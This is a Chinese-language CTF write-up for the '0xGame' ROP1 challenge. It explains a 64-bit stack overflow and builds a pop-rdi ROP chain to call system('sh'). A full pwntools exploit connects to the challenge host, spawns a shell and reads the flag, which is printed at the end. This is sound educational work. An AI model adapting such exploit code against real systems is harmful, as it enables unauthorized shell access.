ROP1 WP
这题是一个很典型的 64 位栈溢出 + ROP 入门题。题目提示说“将 system 与参数分离”,核心就是:程序里虽然有 system,但不会帮我们把参数放进 rdi,所以需要自己用 ROP 链把参数布置好。
1. 基本分析
先看保护:
checksec pwn
结果大致是:
Arch: amd64 NX: enabled Canary: No PIE: No RELRO: Partial
说明:
有 NX,不能直接打 shellcode
没有栈 canary,栈溢出很好利用
没有 PIE,代码段地址固定,ROP 地址可直接写死
2. 漏洞点
main 的关键逻辑是:
sub rsp, 0x20 ... lea rax, [rbp - 0x20] mov edx, 0x100 mov rsi, rax mov edi, 0 call read ... leave ret
也就是:
char buf[0x20]; read(0, buf, 0x100);
这里把 0x100 字节读进只有 0x20 的栈缓冲区,明显栈溢出。
返回地址偏移:
缓冲区:0x20
saved rbp:0x8
所以到返回地址的偏移是:
0x20 + 0x8 = 0x28
3. 可利用条件
程序里有现成的:
system@plt = 0x401074
pop rdi ; ret = 0x40117e
而且 .rodata 里还有字符串:
"Maybe you need this: sh"
其中 "sh" 的地址是:
0x40201e
这就很舒服了,直接构造:
pop rdi ; ret 0x40201e -> rdi = "sh" system@plt
即可执行:
system("sh")
4. ROP 链
完整链子:
payload = b"A" * 0x28 payload += p64(0x40101a) # ret,做栈对齐 payload += p64(0x40117e) # pop rdi ; ret payload += p64(0x40201e) # "sh" payload += p64(0x401074) # system@plt
这里前面补一个单独的 ret 是为了 64 位下栈对齐,更稳一些。
5. EXP
from pwn import * context.arch = "amd64" host = "nc1.ctfplus.cn" port = 45174 io = remote(host, port) payload = b"A" * 0x28 payload += p64(0x40101a) # ret payload += p64(0x40117e) # pop rdi ; ret payload += p64(0x40201e) # "sh" payload += p64(0x401074) # system@plt io.recvline() io.sendline(payload) # 拿到 shell 后读 flag io.sendline(b"/bin/cat /flag") io.interactive()
6. 利用过程
程序启动后会先输出:
Maybe you need this: sh
然后读入我们的 payload,覆盖返回地址,函数 ret 时跳到 ROP 链:
ret
pop rdi ; ret
把 "sh" 地址放进 rdi
调用 system("sh")
拿到 shell
执行 /bin/cat /flag
7. Flag
0xGame{Y0u_c0mpl373d_R0P1}